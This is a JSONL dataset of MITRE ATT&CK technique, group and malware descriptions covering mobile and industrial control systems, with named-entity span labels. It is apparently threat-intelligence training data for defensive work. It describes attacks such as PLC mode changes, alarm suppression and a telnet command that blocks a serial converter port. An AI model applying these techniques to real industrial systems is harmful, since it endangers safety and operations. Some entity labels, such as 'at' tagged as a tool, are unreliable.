{"text": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: credentials changed) to remove access to accounts.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1640"}}
{"text": "Adversaries may attempt to get detailed information about a device’s operating system and hardware, including versions, patches, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not to fully infects the target and/or attempts specific actions. \n\n \n\nOn Android, much of this information is programmatically accessible to applications through the `android.os.Build` class.  iOS is much more restrictive with what information is visible to applications. Typically, applications will only be able to query the device model and which version of iOS it is running.", "spans": {"SYSTEM: Android": [[369, 376]], "SYSTEM: iOS": [[489, 492], [657, 660]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1426"}}
{"text": "Adversaries may compress and/or encrypt data that is collected prior to exfiltration. Compressing data can help to obfuscate its contents and minimize use of network resources. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender. \n\n \n\nBoth compression and encryption are done prior to exfiltration, and can be performed using a utility, programming library, or custom algorithm.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1532"}}
{"text": "Adversaries may use a device’s geographical location to limit certain malicious behaviors. For example, malware operators may limit the distribution of a second stage payload to certain geographic regions.\n\nGeofencing is accomplished by persuading the user to grant the application permission to access location services. The application can then collect, process, and exfiltrate the device’s location to perform location-based actions, such as ceasing malicious behavior or showing region-specific advertisements. \n\nOne method to accomplish Geofencing on Android is to use the built-in Geofencing API to automatically trigger certain behaviors when the device enters or exits a specified radius around a geographical location. Similar to  other Geofencing methods, this requires that the user has granted the `ACCESS_FINE_LOCATION` and `ACCESS_BACKGROUND_LOCATION` permissions. The latter is only required if the application targets Android 10 (API level 29) or higher. However, Android 11 introduced additional permission controls that may restrict background location collection based on user permission choices at runtime. These additional controls include \"Allow only while using the app\", which will effectively prohibit background location collection.  \n\nSimilarly, on iOS, developers can use built-in APIs to setup and execute geofencing. Depending on the use case, the app will either need to call `requestWhenInUseAuthorization()` or `requestAlwaysAuthorization()`, depending on when access to the location services is required. Similar to Android, users also have the option to limit when the application can access the device’s location, including one-time use and only when the application is running in the foreground.  \n\nGeofencing can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. For example, location data could be used to limit malware spread and/or capabilities, which could also potentially evade application analysis environments (ex: malware analysis outside of the target geographic area). Other malicious usages could include showing language-specific input prompts and/or advertisements.", "spans": {"SYSTEM: Android": [[556, 563], [934, 941], [980, 987], [1550, 1557]], "SYSTEM: API": [[598, 601], [946, 949]], "TOOL: at": [[1115, 1117]], "SYSTEM: iOS": [[1276, 1279]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1627.001"}}
{"text": "Adversaries may attempt to hide multimedia files from the user. By doing so, adversaries may conceal captured files, such as pictures, videos and/or screenshots, then later exfiltrate those files.  \n\nSpecific to Android devices, if the `.nomedia` file is present in a folder, multimedia files in that folder will not be visible to the user in the Gallery application. Additionally, other applications are asked not to scan the folder with the `.nomedia` file, effectively making the folder appear invisible to the user.  \n\nThis technique is often used by stalkerware and spyware applications.", "spans": {"SYSTEM: Android": [[212, 219]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1628.003"}}
{"text": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users.\n\nOn Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode, preventing the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.\n\nOn iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode; they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.", "spans": {"SYSTEM: Android": [[128, 135], [288, 295]], "SYSTEM: iOS": [[378, 381]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1642"}}
{"text": "Adversaries may communicate with compromised devices using out of band data streams. This could be done for a variety of reasons, including evading network traffic monitoring, as a backup method of command and control, or for data exfiltration if the device is not connected to any Internet-providing networks (i.e. cellular or Wi-Fi). Several out of band data streams exist, such as SMS messages, NFC, and Bluetooth. \n\n \n\nOn Android, applications can read push notifications to capture content from SMS messages, or other out of band data streams. This requires that the user manually grant notification access to the application via the settings menu. However, the application could launch an Intent to take the user directly there. \n\n \n\nOn iOS, there is no way to programmatically read push notifications.", "spans": {"SYSTEM: Android": [[426, 433]], "SYSTEM: iOS": [[743, 746]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1644"}}
{"text": "Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1521"}}
{"text": "A malicious application could suppress its icon from being displayed to the user in the application launcher. This hides the fact that it is installed, and can make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions. \n\nThis behavior has been seen in the BankBot/Spy Banker family of malware. \n\nBeginning in Android 10, changes were introduced to inhibit malicious applications’ ability to hide their icon. If an app is a system app, requests no permissions, or does not have a launcher activity, the application’s icon will be fully hidden. Further, if the device is fully managed or the application is in a work profile, the icon will be fully hidden. Otherwise, a synthesized activity is shown, which is a launcher icon that represents the app’s details page in the system settings. If the user clicks the synthesized activity in the launcher, they are taken to the application’s details page in the system settings.", "spans": {"SYSTEM: Android": [[405, 412]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1628.001"}}
{"text": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name, location, or appearance of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.\n\nRenaming abusable system utilities to evade security monitoring is also a form of Masquerading", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1655"}}
{"text": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1406.001"}}
{"text": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Mobile operating systems have features and developer APIs to hide various artifacts, such as an application’s launcher icon. These APIs have legitimate usages, such as hiding an icon to avoid application drawer clutter when an application does not have a usable interface. Adversaries may abuse these features and APIs to hide artifacts from the user to evade detection.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1628"}}
{"text": "Adversaries may modify code signing policies to enable execution of applications signed with unofficial or unknown keys. Code signing provides a level of authenticity on an app from a developer, guaranteeing that the program has not been tampered with and comes from an official source. Security controls can include enforcement mechanisms to ensure that only valid, signed code can be run on a device. \n\nMobile devices generally enable these security controls by default, such as preventing the installation of unknown applications on Android. Adversaries may modify these policies in a number of ways, including Input Injection or malicious configuration profiles.", "spans": {"SYSTEM: Android": [[536, 543]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1632.001"}}
{"text": "Adversaries may use Domain Generation Algorithms (DGAs) to procedurally generate domain names for uses such as command and control communication   or malicious application distribution.\n\nDGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there could potentially be thousands of domains that malware can check for instructions.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1637.001"}}
{"text": "Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring an Application Access Token.\n\nMultiple ways of delivering exploit code to a browser exist, including:\n\n* A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.\n* Malicious ads are paid for and served through legitimate ad providers.\n* Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. \n    * The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.\n    * In some cases a second visit to the website after the initial scan is required before exploit code is delivered.", "spans": {"SYSTEM: Access": [[307, 313]], "SYSTEM: JavaScript": [[501, 511]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T1456"}}
{"text": "Bouncing Golf is a cyberespionage campaign targeting Middle Eastern countries.", "spans": {"THREAT_ACTOR: Bouncing Golf": [[0, 13]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G0097"}}
{"text": "UNC788 is a group of hackers from Iran that has targeted people in the Middle East.", "spans": {"THREAT_ACTOR: UNC788": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "G1029"}}
{"text": "PLC-Blaster is a piece of proof-of-concept malware that runs on Siemens S7 PLCs. This worm locates other Siemens S7 PLCs on the network and attempts to infect them.  Once this worm has infected its target and attempted to infect other devices on the network, the worm can then run one of many modules.", "spans": {"MALWARE: PLC-Blaster": [[0, 11]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1006"}}
{"text": "Triton is an attack framework built to interact with Triconex Safety Instrumented System (SIS) controllers.", "spans": {"MALWARE: Triton": [[0, 6]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1009"}}
{"text": "Fuxnet is malware designed to impact the industrial network infrastructure managing control system sensors for utility operations in Moscow. Fuxnet is linked to an entity referred to as the Blackjack hacking group, which is assessed to be linked to Ukrainian intelligence services.", "spans": {"MALWARE: Fuxnet": [[0, 6], [141, 147]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1157"}}
{"text": "ACAD/Medre.A is a worm that steals operational information. The worm collects AutoCAD files with drawings. ACAD/Medre.A has the capability to be used for industrial espionage.", "spans": {"MALWARE: ACAD/Medre.A": [[0, 12], [107, 119]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1000"}}
{"text": "FrostyGoop is a Windows-based binary written in Golang that allows for interaction with industrial control system (ICS) equipment via Modbus TCP over port 502. FrostyGoop allows for reading and writing data to holding registers on targeted devices, manipulating the operation of systems for malicious purposes. FrostyGoop is associated with the FrostyGoop Incident in Ukraine.", "spans": {"MALWARE: FrostyGoop": [[0, 10], [160, 170], [311, 321]], "SYSTEM: Windows": [[16, 23]], "THREAT_ACTOR: FrostyGoop Incident": [[345, 364]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1165"}}
{"text": "INCONTROLLER is custom malware that includes multiple modules tailored towards ICS devices and technologies, including Schneider Electric and Omron PLCs as well as OPC UA, Modbus, and CODESYS protocols. INCONTROLLER has the ability to discover specific devices, download logic on the devices, and exploit platform-specific vulnerabilities. As of September 2022, some security researchers assessed INCONTROLLER was developed by CHERNOVITE.", "spans": {"MALWARE: INCONTROLLER": [[0, 12], [203, 215], [397, 409]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "S1045"}}
{"text": "Adversaries may block a command message from reaching its intended target to prevent command execution. In OT networks, command messages are sent to provide instructions to control system devices. A blocked command message can inhibit response functions from correcting a disruption or unsafe condition.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0803"}}
{"text": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.   Services may not allow for modification of their data stores while running. Adversaries may stop services in order to conduct Data Destruction.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0881"}}
{"text": "Adversaries may modify parameters used to instruct industrial control system devices. These devices operate via programs that dictate how and when to perform actions based on such parameters. Such parameters can determine the extent to which an action is performed and may specify additional options. For example, a program on a control system device dictating motor processes may take a parameter defining the total number of seconds to run that motor.      \n\nAn adversary can potentially modify these parameters to produce an outcome outside of what was intended by the operators. By modifying system and process critical parameters, the adversary may cause Impact to equipment and/or control processes. Modified parameters may be turned into dangerous, out-of-bounds, or unexpected values from typical operations. For example, specifying that a process run for more or less time than it should, or dictating an unusually high, low, or invalid value as a parameter.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0836"}}
{"text": "Adversaries may modify the tasking of a controller to allow for the execution of their own programs. This can allow an adversary to manipulate the execution flow and behavior of a controller. \n\nAccording to 61131-3, the association of a Task with a Program Organization Unit (POU) defines a task association.  An adversary may modify these associations or create new ones to manipulate the execution flow of a controller. Modification of controller tasking can be accomplished using a Program Download in addition to other types of program modification such as online edit and program append.\n\nTasks have properties, such as interval, frequency and priority to meet the requirements of program execution. Some controller vendors implement tasks with implicit, pre-defined properties whereas others allow for these properties to be formulated explicitly. An adversary may associate their program with tasks that have a higher priority or execute associated programs more frequently. For instance, to ensure cyclic execution of their program on a Siemens controller, an adversary may add their program to the task, Organization Block 1 (OB1).", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0821"}}
{"text": "Adversaries may seek to capture radio frequency (RF) communication used for remote control and reporting in distributed environments. RF communication frequencies vary between 3 kHz to 300 GHz, although are commonly between 300 MHz to 6 GHz.   The wavelength and frequency of the signal affect how the signal propagates through open air, obstacles (e.g. walls and trees) and the type of radio required to capture them. These characteristics are often standardized in the protocol and hardware and may have an effect on how the signal is captured. Some examples of wireless protocols that may be found in cyber-physical environments are: WirelessHART, Zigbee, WIA-FA, and 700 MHz Public Safety Spectrum. \n\nAdversaries may capture RF communications by using specialized hardware, such as software defined radio (SDR), handheld radio, or a computer with radio demodulator tuned to the communication frequency.  Information transmitted over a wireless medium may be captured in-transit whether the sniffing device is the intended destination or not. This technique may be particularly useful to an adversary when the communications are not encrypted.  \n\nIn the 2017 Dallas Siren incident, it is suspected that adversaries likely captured wireless command message broadcasts on a 700 MHz frequency during a regular test of the system. These messages were later replayed to trigger the alarm systems.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0887"}}
{"text": "Adversaries may cause a sustained or permanent loss of view where the ICS equipment will require local, hands-on operator intervention; for instance, a restart or manual operation. By causing a sustained reporting or visibility loss, the adversary can effectively hide the present state of operations. This loss of view can occur without affecting the physical processes themselves.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0829"}}
{"text": "Adversaries may activate firmware update mode on devices to prevent expected response functions from engaging in reaction to an emergency or process malfunction. For example, devices such as protection relays may have an operation mode designed for firmware installation. This mode may halt process monitoring and related functions to allow new firmware to be loaded. A device left in update mode may be placed in an inactive holding state if no firmware is provided to it. By entering and leaving a device in this mode, the adversary may deny its usual functionalities.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0800"}}
{"text": "Adversaries may manipulate physical process control within the industrial environment. Methods of manipulating control can include changes to set point values, tags, or other parameters. Adversaries may manipulate control systems devices or possibly leverage their own, to communicate with and command physical control processes. The duration of manipulation may be temporary or longer sustained, depending on operator detection.   \n\nMethods of Manipulation of Control include: \n\n* Man-in-the-middle  \n* Spoof command message \n* Changing setpoints  \n\nA Polish student used a remote controller device to interface with the Lodz city tram system in Poland.    Using this remote, the student was able to capture and replay legitimate tram signals. As a consequence, four trams were derailed and twelve people injured due to resulting emergency stops.  The track controlling commands issued may have also resulted in tram collisions, a further risk to those on board and nearby the areas of impact.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0831"}}
{"text": "Adversaries may perform Denial-of-Service (DoS) attacks to disrupt expected device functionality. Examples of DoS attacks include overwhelming the target device with a high volume of requests in a short time period and sending the target device a request it does not know how to handle. Disrupting device state may temporarily render it unresponsive, possibly lasting until a reboot can occur. When placed in this state, devices may be unable to send and receive requests, and may not perform expected response functions in reaction to other events in the environment. \n\nSome ICS devices are particularly sensitive to DoS events, and may become unresponsive in reaction to even a simple ping sweep. Adversaries may also attempt to execute a Permanent Denial-of-Service (PDoS) against certain devices, such as in the case of the BrickerBot malware.  \n\nAdversaries may exploit a software vulnerability to cause a denial of service by taking advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in software that can be used to cause a denial of service condition. \n\nAdversaries may have prior knowledge about industrial protocols or control devices used in the environment through Remote System Information Discovery. There are examples of adversaries remotely causing a Device Restart/Shutdown by exploiting a vulnerability that induces uncontrolled resource consumption.", "spans": {"TOOL: ping": [[687, 691]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0814"}}
{"text": "Adversaries may block access to serial COM to prevent instructions or configurations from reaching target devices. Serial Communication ports (COM) allow communication with control system devices. Devices can receive command and configuration messages over such serial COM. Devices also use serial COM to send command and reporting messages. Blocking device serial COM may also block command messages and block reporting messages. \n\nA serial to Ethernet converter is often connected to a serial COM to facilitate communication between serial and Ethernet devices. One approach to blocking a serial COM would be to create and hold open a TCP session with the Ethernet side of the converter. A serial to Ethernet converter may have a few ports open to facilitate multiple communications. For example, if there are three serial COM available -- 1, 2 and 3 --, the converter might be listening on the corresponding ports 20001, 20002, and 20003. If a TCP/IP connection is opened with one of these ports and held open, then the port will be unavailable for use by another party. One way the adversary could achieve this would be to initiate a TCP session with the serial to Ethernet converter at 10.0.0.1 via Telnet on serial port 1 with the following command: telnet 10.0.0.1 20001.", "spans": {"SYSTEM: COM": [[39, 42], [143, 146], [269, 272], [298, 301], [365, 368], [495, 498], [598, 601], [825, 828]], "TOOL: at": [[1188, 1190]], "IP_ADDRESS: 10.0.0.1": [[1191, 1199], [1263, 1271]], "TOOL: Telnet": [[1204, 1210]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0805"}}
{"text": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed, or otherwise trusted, binaries. Binaries used in this technique are often Microsoft-signed files, indicating that they have been either downloaded from Microsoft or are already native in the operating system.  Binaries signed with trusted digital certificates can typically execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files or commands. Similarly, on Linux systems adversaries may abuse trusted binaries such as split to proxy execution of malicious commands. \n\nAdversaries may abuse application binaries installed on a system for proxy execution of malicious code or domain-specific commands. These commands could be used to target local resources on the device or networked devices within the environment through defined APIs (Execution through API) or application-specific programming languages (e.g., MicroSCADA SCIL). Application binaries may be signed by the developer or generally trusted by the operators, analysts, and monitoring tools accustomed to the environment. These applications may be developed and/or directly provided by the device vendor to enable configuration, management, and operation of their devices without many alternatives. \n\nAdversaries may seek to target these trusted application binaries to execute or send commands without the development of custom malware. For example, adversaries may target a SCADA server binary which has the existing ability to send commands to substation devices, such as through IEC 104 command messages. Proxy execution may still require the development of custom tools to hook into the application binary’s execution.", "spans": {"ORGANIZATION: Microsoft": [[193, 202], [271, 280], [471, 480]], "SYSTEM: Windows": [[404, 411], [517, 524]], "SYSTEM: Linux": [[612, 617]], "SYSTEM: API": [[1008, 1011]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0894"}}
{"text": "Adversaries may utilize command-line interfaces (CLIs) to interact with systems and execute commands. CLIs provide a means of interacting with computer systems and are a common feature across many types of platforms and devices within control systems environments.  Adversaries may also use CLIs to install and run new software, including malicious tools that may be installed over the course of an operation.\n\nCLIs are typically accessed locally, but can also be exposed via services, such as SSH, Telnet, and RDP.  Commands that are executed in the CLI execute with the current permissions level of the process running the terminal emulator, unless the command specifies a change in permissions context. Many controllers have CLI interfaces for management purposes.", "spans": {"SYSTEM: SSH": [[494, 497]], "TOOL: Telnet": [[499, 505]], "TOOL: RDP": [[511, 514]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0807"}}
{"text": "Adversaries may collect point and tag values to gain a more comprehensive understanding of the process environment. Points may be values such as inputs, memory locations, outputs or other process specific variables.  Tags are the identifiers given to points for operator convenience. \n\nCollecting such tags provides valuable context to environmental points and enables an adversary to map inputs, outputs, and other values to their control processes. Understanding the points being collected may inform an adversary on which processes and values to keep track of over the course of an operation.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0861"}}
{"text": "Adversaries may forcibly restart or shutdown a device in an ICS environment to disrupt and potentially negatively impact physical processes. Methods of device restart and shutdown exist in some devices as built-in, standard functionalities. These functionalities can be executed using interactive device web interfaces, CLIs, and network protocol commands.\n\nUnexpected restart or shutdown of control system devices may prevent expected response functions happening during critical states.\n\nA device restart can also be a sign of malicious device modifications, as many updates require a shutdown in order to take effect.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0816"}}
{"text": "Adversaries may rely on a targeted organizations user interaction for the execution of malicious code. User interaction may consist of installing applications, opening email attachments, or granting higher permissions to documents. \n\nAdversaries may embed malicious code or visual basic code into files such as Microsoft Word and Excel documents or software installers.  Execution of this code requires that the user enable scripting or write access within the document. Embedded code may not always be noticeable to the user especially in cases of trojanized software.  \n\nA Chinese spearphishing campaign running from December 9, 2011 through February 29, 2012 delivered malware through spearphishing attachments which required user action to achieve execution.", "spans": {"SYSTEM: Microsoft Word": [[311, 325]], "SYSTEM: Excel": [[330, 335]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0863"}}
{"text": "Adversaries may perform wireless compromise as a method of gaining communications and unauthorized access to a wireless network. Access to a wireless network may be gained through the compromise of a wireless device.   Adversaries may also utilize radios and other wireless communication devices on the same frequency as the wireless network. Wireless compromise can be done as an initial access vector from a remote distance. \n\nA Polish student used a modified TV remote controller to gain access to and control over the Lodz city tram system in Poland.   The remote controller device allowed the student to interface with the trams network to modify track settings and override operator control. The adversary may have accomplished this by aligning the controller to the frequency and amplitude of IR control protocol signals.  The controller then enabled initial access to the network, allowing the capture and replay of tram signals.", "spans": {"SYSTEM: Access": [[129, 135]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0860"}}
{"text": "Adversaries may change the operating mode of a controller to gain additional access to engineering functions such as Program Download.   Programmable controllers typically have several modes of operation that control the state of the user program and control access to the controllers API. Operating modes can be physically selected using a key switch on the face of the controller but may also be selected with calls to the controllers API. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below:  \n\n* Program - This mode must be enabled before changes can be made to a devices program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLCs logic Is halted, and all outputs may be forced off.   \n* Run - Execution of the devices program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the programs logic. Program Upload and Program Download are disabled while in this mode.        \n* Remote - Allows for remote changes to a PLCs operation mode.     \n* Stop - The PLC and program is stopped, while in this mode, outputs are forced off.    \n* Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.    \n* Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.", "spans": {"SYSTEM: API": [[285, 288], [437, 440]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0858"}}
{"text": "Adversaries may target protection function alarms to prevent them from notifying operators of critical conditions. Alarm messages may be a part of an overall reporting system and of particular interest for adversaries. Disruption of the alarm system does not imply the disruption of the reporting system as a whole.\n\nA Secura presentation on targeting OT notes a dual fold goal for adversaries attempting alarm suppression: prevent outgoing alarms from being raised and prevent incoming alarms from being responded to.  The method of suppression may greatly depend on the type of alarm in question:  \n\n* An alarm raised by a protocol message \n* An alarm signaled with I/O \n* An alarm bit set in a flag (and read) \n\nIn ICS environments, the adversary may have to suppress or contend with multiple alarms and/or alarm propagation to achieve a specific goal to evade detection or prevent intended responses from occurring.   Methods of suppression may involve tampering or altering device displays and logs, modifying in memory code to fixed values, or even tampering with assembly level instruction code.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0878"}}
{"text": "Adversaries may gather information about a PLCs or controllers current operating mode. Operating modes dictate what change or maintenance functions can be manipulated and are often controlled by a key switch on the PLC (e.g.,  run, prog [program], and remote). Knowledge of these states may be valuable to an adversary to determine if they are able to reprogram the PLC. Operating modes and the mechanisms by which they are selected often vary by vendor and product line. Some commonly implemented operating modes are described below:  \n\n* Program - This mode must be enabled before changes can be made to a devices program. This allows program uploads and downloads between the device and an engineering workstation. Often the PLCs logic Is halted, and all outputs may be forced off.   \n* Run - Execution of the devices program occurs in this mode. Input and output (values, points, tags, elements, etc.) are monitored and used according to the programs logic.Program Upload and Program Download are disabled while in this mode.        \n* Remote - Allows for remote changes to a PLCs operation mode.     \n* Stop - The PLC and program is stopped, while in this mode, outputs are forced off.    \n* Reset - Conditions on the PLC are reset to their original states. Warm resets may retain some memory while cold resets will reset all I/O and data registers.    \n* Test / Monitor mode - Similar to run mode, I/O is processed, although this mode allows for monitoring, force set, resets, and more generally tuning or debugging of the system. Often monitor mode may be used as a trial for initialization.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0868"}}
{"text": "Adversaries may compromise protective system functions designed to prevent the effects of faults and abnormal conditions. This can result in equipment damage, prolonged process disruptions and hazards to personnel. \n\nMany faults and abnormal conditions in process control happen too quickly for a human operator to react to. Speed is critical in correcting these conditions to limit serious impacts such as Loss of Control and Property Damage. \n\nAdversaries may target and disable protective system functions as a prerequisite to subsequent attack execution or to allow for future faults and abnormal conditions to go unchecked. Detection of a Loss of Protection by operators can result in the shutdown of a process due to strict policies regarding protection systems. This can cause a Loss of Productivity and Revenue and may meet the technical goals of adversaries seeking to cause process disruptions.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0837"}}
{"text": "Adversaries may gather information about the physical process state. This information may be used to gain more information about the process itself or used as a trigger for malicious actions. The sources of process state information may vary such as, OPC tags, historian data, specific PLC block information, or network traffic.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0801"}}
{"text": "Adversaries may use scripting languages to execute arbitrary code in the form of a pre-written script or in the form of user-supplied code to an interpreter. Scripting languages are programming languages that differ from compiled languages, in that scripting languages use an interpreter, instead of a compiler. These interpreters read and compile part of the source code just before it is executed, as opposed to compilers, which compile each and every line of code to an executable file. Scripting allows software developers to run their code on any system where the interpreter exists. This way, they can distribute one package, instead of precompiling executables for many different systems. Scripting languages, such as Python, have their interpreters shipped as a default with many Linux distributions. \n\nIn addition to being a useful tool for developers and administrators, scripting language interpreters may be abused by the adversary to execute code in the target environment. Due to the nature of scripting languages, this allows for weaponized code to be deployed to a target easily, and leaves open the possibility of on-the-fly scripting to perform a task.", "spans": {"SYSTEM: Python": [[725, 731]], "SYSTEM: Linux": [[788, 793]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0853"}}
{"text": "An adversary may attempt to get detailed information about remote systems and their peripherals, such as make/model, role, and configuration. Adversaries may use information from Remote System Information Discovery to aid in targeting and shaping follow-on behaviors. For example, the system's operational role and model information can dictate whether it is a relevant target for the adversary's operational objectives. In addition, the system's configuration may be used to scope subsequent technique usage. \n\nRequests for system information are typically implemented using automation and management protocols and are often automatically requested by vendor software during normal operation. This information may be used to tailor management actions, such as program download and system or module firmware. An adversary may leverage this same information by issuing calls directly to the system's API.", "spans": {"SYSTEM: API": [[899, 902]]}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0888"}}
{"text": "Adversaries may attempt to upload a program from a PLC to gather information about an industrial process. Uploading a program may allow them to acquire and study the underlying logic. Methods of program upload include vendor software, which enables the user to upload and read a program running on a PLC. This software can be used to upload the target program to a workstation, jump box, or an interfacing device.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0845"}}
{"text": "Adversaries may leverage weaknesses to exploit internet-facing software for initial access into an industrial network. Internet-facing software may be user applications, underlying networking implementations, an assets operating system, weak defenses, etc. Targets of this technique may be intentionally exposed for the purpose of remote management and visibility.\n\nAn adversary may seek to target public-facing applications as they may provide direct access into an ICS environment or the ability to move into the ICS network. Publicly exposed applications may be found through online tools that scan the internet for open ports and services. Version numbers for the exposed application may provide adversaries an ability to target specific known vulnerabilities. Exposed control protocol or remote access ports found in Commonly Used Port may be of interest by adversaries.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0819"}}
{"text": "Adversaries may target and collect data from information repositories. This can include sensitive data such as specifications, schematics, or diagrams of control system layouts, devices, and processes. Examples of information repositories include reference databases in the process environment, as well as databases in the corporate network that might contain information about the ICS.\n\nInformation collected from these systems may provide the adversary with a better understanding of the operational environment, vendors used, processes, or procedures of the ICS.\n\nIn a campaign between 2011 and 2013 against ONG organizations, Chinese state-sponsored actors searched document repositories for specific information such as, system manuals, remote terminal unit (RTU) sites, personnel lists, documents that included the string SCAD*, user credentials, and remote dial-up access information.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0811"}}
{"text": "Adversaries may target devices that are transient across ICS networks and external networks. Normally, transient assets are brought into an environment by authorized personnel and do not remain in that environment on a permanent basis.  Transient assets are commonly needed to support management functions and may be more common in systems where a remotely managed asset is not feasible, external connections for remote access do not exist, or 3rd party contractor/vendor access is required. \n\nAdversaries may take advantage of transient assets in different ways. For instance, adversaries may target a transient asset when it is connected to an external network and then leverage its trusted access in another environment to launch an attack. They may also take advantage of installed applications and libraries that are used by legitimate end-users to interact with control system devices. \n\nTransient assets, in some cases, may not be deployed with a secure configuration leading to weaknesses that could allow an adversary to propagate malicious executable code, e.g., the transient asset may be infected by malware and when connected to an ICS environment the malware propagates onto other systems.", "spans": {}, "info": {"source": "mitre_attack_v2", "mitre_id": "T0864"}}
